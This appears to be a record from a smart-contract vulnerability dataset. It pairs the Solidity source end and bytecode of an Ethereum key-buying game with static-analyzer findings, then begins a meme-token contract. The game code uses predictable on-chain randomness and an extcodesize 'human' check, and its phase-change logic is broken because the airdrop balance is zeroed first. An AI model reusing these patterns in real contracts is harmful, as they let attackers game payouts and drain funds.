bool _phaseChanged = false;
if(airdropped) {
airdropWinTime = now;
players[msg.sender].balance += airdropBalance;
players[msg.sender].airdropBonus += airdropBalance;
poolReward += airdropBalance;
airdroppedAmount = airdropBalance;
airdropBalance = 0;
if(durationPhaseIndex == 0 && airdropBalance >= 1e18) _phaseChanged = true;
else if(durationPhaseIndex == 1 && airdropBalance >= 2e18) _phaseChanged = true;
else if(durationPhaseIndex == 2 && airdropBalance >= 3e18) _phaseChanged = true;
else if(durationPhaseIndex == 3 && airdropBalance >= 5e18) _phaseChanged = true;
else if(durationPhaseIndex == 4 && airdropBalance >= 7e18) _phaseChanged = true;
else if(durationPhaseIndex == 5 && airdropBalance >= 1e19) _phaseChanged = true;
if(_phaseChanged) {
durationPhaseIndex ++;
duration = durationPhaseArray[durationPhaseIndex];
deadline = now + duration * 1 minutes;
}
}
// Staking weight calculation
uint256 weight = amount.mul(1e7).div(keyPrice);
players[msg.sender].weight += weight;
uint256 originalPoolSegment = poolWeight / ((5e5).mul(1e7));
poolWeight += weight;
uint256 afterPoolSegment = poolWeight / ((5e5).mul(1e7));
// Different Segment => giveout potReserve, every 1e5 keys
potReserve += amount * 1 / 100;
bool _potReserveGive = false;
uint256 _potReserve = potReserve;
if(originalPoolSegment != afterPoolSegment) {
_potReserveGive = true;
players[msg.sender].balance += potReserve;
players[msg.sender].potBonus += potReserve;
poolReward += potReserve;
potReserve = 0;
}
// Grow key price
if(keyPrice < keyPrice_max) {
keyPrice = keyPrice_max - (1e23 - poolBalance).mul(keyPrice_max - keyPrice_min).div(1e23);
} else {
keyPrice = keyPrice_max;
}
keyLocked = false;
emit Deposit(
msg.sender,
weight,
keyPrice,
deadline,
durationPhaseIndex,
_phaseChanged,
poolBalance,
poolReward,
poolWeight,
airdropped,
airdropBalance,
_potReserveGive,
_potReserve
);
}
uint256 nonce = 0;
function rand(uint min, uint max) private returns (uint){
nonce++;
return uint(keccak256(toBytes(nonce)))%(min+max)-min;
}
function toBytes(uint256 x) private pure returns (bytes b) {
b = new bytes(32);
assembly { mstore(add(b, 32), x) }
}
/**
* Withdraw the funds
*/
function safeWithdrawal() isHuman() public {
uint256 availableWithdrawal = players[msg.sender].balance - players[msg.sender].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[msg.sender].withdrawal += availableWithdrawal;
msg.sender.transfer(availableWithdrawal);
keyLocked = false;
emit Withdrawal(msg.sender, availableWithdrawal);
}
function helpWithdrawal(address userAddress) isHuman() public {
// Will only be executed when user himself cannot withdraw and asks our team for help
require(msg.sender == teamAddress);
uint256 availableWithdrawal = players[userAddress].balance - players[userAddress].withdrawal;
require(availableWithdrawal > 0);
require(keyLocked == false);
keyLocked = true;
poolWithdraw += availableWithdrawal;
players[userAddress].withdrawal += availableWithdrawal;
// Service fee: 5%
players[teamAddress].balance += availableWithdrawal * 5 / 100;
// User get 95%
userAddress.transfer(availableWithdrawal * 95 / 100);
keyLocked = false;
emit Withdrawal(userAddress, availableWithdrawal);
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
// Gas optimization: this is cheaper than asserting 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061018b576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305cb177a146102205780630b6c9ac7146102405780630fb5a6b41461026b57806310e569731461029657806319cc02aa146102c15780631c75f085146102f05780631cbeae5e1461034757806329dcb0cf146103b45780632a8a8ebb146103df57806335c1d3491461040a5780634158506a1461047757806356997fb4146104a25780638827a985146104cd5780638ddb428a146104f85780638f9de9e6146105235780638fc202ae1461056457806391051e061461058f57806395f382bc146105ba57806396365d44146105f1578063971fe56b1461061c578063b961b1e014610647578063c47f002714610672578063c956d497146106ce578063df0b52c814610711578063e2eb41ff14610768578063e57053cd14610871578063e8c236491461089c578063ed953b69146108f8578063ee9267d114610927578063fd6b7ef814610952578063fef10b9514610969575b6000806000339150813b905060008114151561020f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b34925061021b83610994565b505050005b61023e60048036038101908080359060200190929190505050611bc7565b005b34801561024c57600080fd5b50610255611d4d565b6040518082815260200191505060405180910390f35b34801561027757600080fd5b50610280611d53565b6040518082815260200191505060405180910390f35b3480156102a257600080fd5b506102ab611d59565b6040518082815260200191505060405180910390f35b3480156102cd57600080fd5b506102d6611d5f565b604051808215151515815260200191505060405180910390f35b3480156102fc57600080fd5b50610305611d72565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561035357600080fd5b5061037260048036038101908080359060200190929190505050611d98565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103c057600080fd5b506103c9611dd6565b6040518082815260200191505060405180910390f35b3480156103eb57600080fd5b506103f4611ddc565b6040518082815260200191505060405180910390f35b34801561041657600080fd5b5061043560048036038101908080359060200190929190505050611de2565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561048357600080fd5b5061048c611e20565b6040518082815260200191505060405180910390f35b3480156104ae57600080fd5b506104b7611e26565b6040518082815260200191505060405180910390f35b3480156104d957600080fd5b506104e2611e2c565b6040518082815260200191505060405180910390f35b34801561050457600080fd5b5061050d611e32565b6040518082815260200191505060405180910390f35b34801561052f57600080fd5b5061054e60048036038101908080359060200190929190505050611e38565b6040518082815260200191505060405180910390f35b34801561057057600080fd5b50610579611e5b565b6040518082815260200191505060405180910390f35b34801561059b57600080fd5b506105a4611e61565b6040518082815260200191505060405180910390f35b3480156105c657600080fd5b506105ef6004803603810190808035906020019092919080359060200190929190505050611e67565b005b3480156105fd57600080fd5b50610606612140565b6040518082815260200191505060405180910390f35b34801561062857600080fd5b50610631612146565b6040518082815260200191505060405180910390f35b34801561065357600080fd5b5061065c61214c565b6040518082815260200191505060405180910390f35b6106cc600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050612152565b005b3480156106da57600080fd5b5061070f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061243c565b005b34801561071d57600080fd5b50610726612793565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561077457600080fd5b506107a9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506127b9565b604051808d81526020018c81526020018b8152602001806020018a815260200189815260200188815260200187815260200186815260200185815260200184815260200183815260200182810382528b818151815260200191508051906020019080838360005b8381101561082b578082015181840152602081019050610810565b50505050905090810190601f1680156108585780820380516001836020036101000a031916815260200191505b509d505050505050505050505050505060405180910390f35b34801561087d57600080fd5b506108866128b1565b6040518082815260200191505060405180910390f35b6108f6600480360381019080803590602001908201803590602001908080601f01602080910402602001604051908101604052809392919081815260200183838082843782019150505050505091929192905050506128b7565b005b34801561090457600080fd5b5061090d612c31565b604051808215151515815260200191505060405180910390f35b34801561093357600080fd5b5061093c612c44565b6040518082815260200191505060405180910390f35b34801561095e57600080fd5b50610967612c4a565b005b34801561097557600080fd5b5061097e612eb5565b6040518082815260200191505060405180910390f35b600080600080600080600080600080600a54421015156109b7576109b6612ebb565b5b60001515601760019054906101000a900460ff1615151415156109d957600080fd5b6001601760016101000a81548160ff021916908315150217905550600d548b10151515610a94576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001807f596f75206861766520746f20627579206174206c65617374206f6e65206b657981526020017f2e0000000000000000000000000000000000000000000000000000000000000081525060400191505060405180910390fd5b8a601460008282540192505081905550600f6000815480929190600101919050555060043390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060048054905060068190555060066012541015610b4257603c601054024201600a819055505b33600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541415610c8b5760073390806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550506007805490506008819055506007805490506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600e546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154141515610d6757600e546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600401819055505b600099506000985060006013541115610f6d576013546064603a8d02811515610d8c57fe5b04811515610d9657fe5b04601b81905550600099505b6007805490508a1015610f6c5760078a815481101515610dbe57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169750600e546000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541415610f5f57601b546000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154026000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008282540192505081905550601b546000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154026000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055505b89806001019a5050610da2565b5b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015411156110f857600760016000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101540381548110151561100a57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1697506064600f8c0281151561104657fe5b046000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506064600f8c028115156110a457fe5b046000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600701600082825401925050819055506113f4565b600060135411156112f2576013546064600f8d0281151561111557fe5b0481151561111f57fe5b049850600099505b6007805490508a10156112ed5760078a81548110151561114357fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169750600e546000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015414156112e057886000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154026000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008282540192505081905550886000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040154026000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055505b89806001019a5050611127565b6113f3565b6064600f8c0281151561130157fe5b04600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506064600f8c0281151561138157fe5b04600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055505b5b88601b60008282540192505081905550606460048c0281151561141357fe5b04600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008282540192505081905550606460048c0281151561149357fe5b04600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600a01600082825401925050819055506064604d8c0281151561151357fe5b04601560008282540192505081905550606460028c0281151561153257fe5b046019600082825401925050819055506000601760006101000a81548160ff0219169083151502179055506000601a819055506000965067016345785d8a00008b101580156115885750670de0b6b3a76400008b105b156115c75761159a6001612710613455565b9650600a871115156115c2576001601760006101000a81548160ff0219169083151502179055505b61166f565b670de0b6b3a76400008b101580156115e65750678ac7230489e800008b105b15611625576115f86001612710613455565b9650606487111515611620576001601760006101000a81548160ff0219169083151502179055505b61166e565b678ac7230489e800008b10151561166d576116436001612710613455565b96506101f48711151561166c576001601760006101000a81548160ff0219169083151502179055505b5b5b5b60009550601760009054906101000a900460ff161561189b57426018819055506019546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506019546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600b0160008282540192505081905550601954601560008282540192505081905550601954601a81905550600060198190555060006012541480156117705750670de0b6b3a764000060195410155b1561177e5760019550611851565b600160125414801561179a5750671bc16d674ec8000060195410155b156117a85760019550611850565b60026012541480156117c457506729a2241af62c000060195410155b156117d2576001955061184f565b60036012541480156117ee5750674563918244f4000060195410155b156117fc576001955061184e565b60046012541480156118185750676124fee993bc000060195410155b15611826576001955061184d565b60056012541480156118425750678ac7230489e8000060195410155b1561184c57600195505b5b5b5b5b5b851561189a57601260008154809291906001019190505550601160125481548110151561187a57fe5b9060005260206000200154601081905550603c601054024201600a819055505b5b6118c5600d546118b7629896808e6134f190919063ffffffff16565b61352990919063ffffffff16565b9450846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206004016000828254019250508190555061192f629896806207a1206134f190919063ffffffff16565b60135481151561193b57fe5b04935084601360008282540192505081905550611967629896806207a1206134f190919063ffffffff16565b60135481151561197357fe5b049250606460018c0281151561198557fe5b04601c6000828254019250508190555060009150601c5490508284141515611a685760019150601c546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050160008282540192505081905550601c546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060090160008282540192505081905550601c546015600082825401925050819055506000601c819055505b600c54600d541015611ac657611ab769152d02c7e14af6800000611aa9600b54600c540360145469152d02c7e14af6800000036134f190919063ffffffff16565b61352990919063ffffffff16565b600c5403600d81905550611ad0565b600c54600d819055505b6000601760016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f29857ab2d695934b23e6132c8216a962292942cbf04b0255e661701a97b4f25986600d54600a546012548b601454601554601354601760009054906101000a900460ff166019548d8d604051808d81526020018c81526020018b81526020018a81526020018915151515815260200188815260200187815260200186815260200185151515158152602001848152602001831515151581526020018281526020019c5050505050505050505050505060405180910390a25050505050505050505050565b6000806000339150813b9050600081141515611c4b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b600780549050841115611c5d57600093505b836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015414158015611cef575060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154145b15611d3b57836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b349250611d4783610994565b50505050565b601a5481565b60105481565b600d5481565b601760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600981815481101515611da757fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b601b5481565b600781815481101515611df157fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60085481565b601c5481565b60125481565b600e5481565b601181815481101515611e4757fe5b906000526020600020016000915090505481565b600f5481565b60165481565b600080600080339150813b9050600081141515611eec576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b60001515601760019054906101000a900460ff161515141515611f0e57600080fd5b6001601760016101000a81548160ff021916908315150217905550600d54860293506000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154039250828411151515611fc657600080fd5b600084111515611fd557600080fd5b836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006016000828254019250508190555060078054905085111561203657600094505b846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154141580156120c8575060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154145b1561211457846000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b6000601760016101000a81548160ff02191690831515021790555061213884610994565b505050505050565b60145481565b60135481565b60025481565b6000806000339150813b90506000811415156121d6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b34925066038d7ea4c6800083101515156121ef57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff16601d856040518082805190602001908083835b60208310151561223f578051825260208201915060208101905060208303925061221a565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415156122b557600080fd5b82600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206005016000828254019250508190555082600260008282540192505081905550836000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301908051906020019061238b929190613583565b5033601d856040518082805190602001908083835b6020831015156123c557805182526020820191506020810190506020830392506123a0565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050505050565b6000806000339150813b90506000811415156124c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561251c57600080fd5b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501540392506000831115156125b257600080fd5b60001515601760019054906101000a900460ff1615151415156125d457600080fd5b6001601760016101000a81548160ff02191690831515021790555082601660008282540192505081905550826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206006016000828254019250508190555060646005840281151561265d57fe5b04600080600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055508373ffffffffffffffffffffffffffffffffffffffff166108fc6064605f86028115156126f757fe5b049081150290604051600060405180830381858888f19350505050158015612723573d6000803e3d6000fd5b506000601760016101000a81548160ff0219169083151502179055508373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65846040518082815260200191505060405180910390a250505050565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000602052806000526040600020600091509050806000015490806001015490806002015490806003018054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156128775780601f1061284c57610100808354040283529160200191612877565b820191906000526020600020905b81548152906001019060200180831161285a57829003601f168201915b50505050509080600401549080600501549080600601549080600701549080600801549080600901549080600a01549080600b015490508c565b60185481565b6000806000339150813b905060008114151561293b576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16601d856040518082805190602001908083835b60208310151561298b5780518252602082019150602081019050602083039250612966565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614158015612aba57503373ffffffffffffffffffffffffffffffffffffffff16601d856040518082805190602001908083835b602083101515612a4d5780518252602082019150602081019050602083039250612a28565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b8015612b07575060008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154145b15612c1f57600080601d866040518082805190602001908083835b602083101515612b475780518252602082019150602081019050602083039250612b22565b6001836020036101000a038019825116818451168082178552505050505050905001915050908152602001604051809103902060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b349250612c2b83610994565b50505050565b601760019054906101000a900460ff1681565b60195481565b6000806000339150813b9050600081141515612cce576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260118152602001807f736f7272792068756d616e73206f6e6c7900000000000000000000000000000081525060200191505060405180910390fd5b6000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601546000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060050154039250600083111515612d6457600080fd5b60001515601760019054906101000a900460ff161515141515612d8657600080fd5b6001601760016101000a81548160ff02191690831515021790555082601660008282540192505081905550826000803373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600601600082825401925050819055503373ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015612e46573d6000803e3d6000fd5b506000601760016101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff167f7fcf532c15f0a6db0bd6d0e038bea71d30d808c7d98cb3bf7268a95bf5081b65846040518082815260200191505060405180910390a2505050565b60155481565b600080600091506000600e54141515613335576000601b819055506064604b6005601454811515612ee857fe5b0402811515612ef357fe5b04600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506064604b6005601454811515612f7657fe5b0402811515612f8157fe5b04600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160008282540192505081905550600060055460065403111561316957613012600160055401600654613455565b90506064600f600560145481151561302657fe5b040281151561303157fe5b0460008060046001850381548110151561304757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506064600f60056014548115156130ce57fe5b04028115156130d957fe5b046000806004600185038154811015156130ef57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060080160008282540192505081905550613286565b6064600f600560145481151561317b57fe5b040281151561318657fe5b04600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600501600082825401925050819055506064600f600560145481151561320957fe5b040281151561321457fe5b04600080600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600801600082825401925050819055505b601c546064600a600560145481151561329b57fe5b04028115156132a657fe5b0401820191506009600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1690806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550505b4260188190555066038d7ea4c68000600d81905550600060138190555060006015819055506000601c819055506000601281905550601160125481548110151561337b57fe5b9060005260206000200154601081905550603c601054024201600a81905550816014819055506000601760016101000a81548160ff0219169083151502179055506000600f81905550600e60008154809291906001019190505550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506004805490506005819055506004805490506006819055505050565b6000601e6000815480929190600101919050555082828401613478601e5461353f565b6040518082805190602001908083835b6020831015156134ad5780518252602082019150602081019050602083039250613488565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040518091039020600190048115156134e757fe5b0603905092915050565b6000808314156135045760009050613523565b818302905081838281151561351557fe5b0414151561351f57fe5b8090505b92915050565b6000818381151561353657fe5b04905092915050565b606060206040519080825280601f01601f1916602001820160405280156135755781602001602082028038833980820191505090505b509050816020820152919050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f106135c457805160ff19168380011785556135f2565b828001600101855582156135f2579182015b828111156135f15782518255916020019190600101906135d6565b5b5090506135ff9190613603565b5090565b61362591905b80821115613621576000816000905550600101613609565b5090565b905600a165627a7a72305820a54e36cdd58dfb164337d46afa9fc903ce6b3f27918f4b214251dae6617addea0029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "write-after-write", "impact": "Medium", "confidence": "High"}, {"check": "constant-function-asm", "impact": "Medium", "confidence": "Medium"}, {"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "controlled-array-length", "impact": "High", "confidence": "Medium"}]}}
| 8,155 |
0x424abcd27ab98ecbade8fc2be8d4f5c3897503d8
|
/**
*Submitted for verification at Etherscan.io on 2022-03-01
*/
/*
mElon Inu 🍈🍈
“Meme token”, “Elon Musk” & “Melon” are the key elements of Melon Inu.
mElon Inu 🍈🍈
https://t.me/meloninutoken
*/
//SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
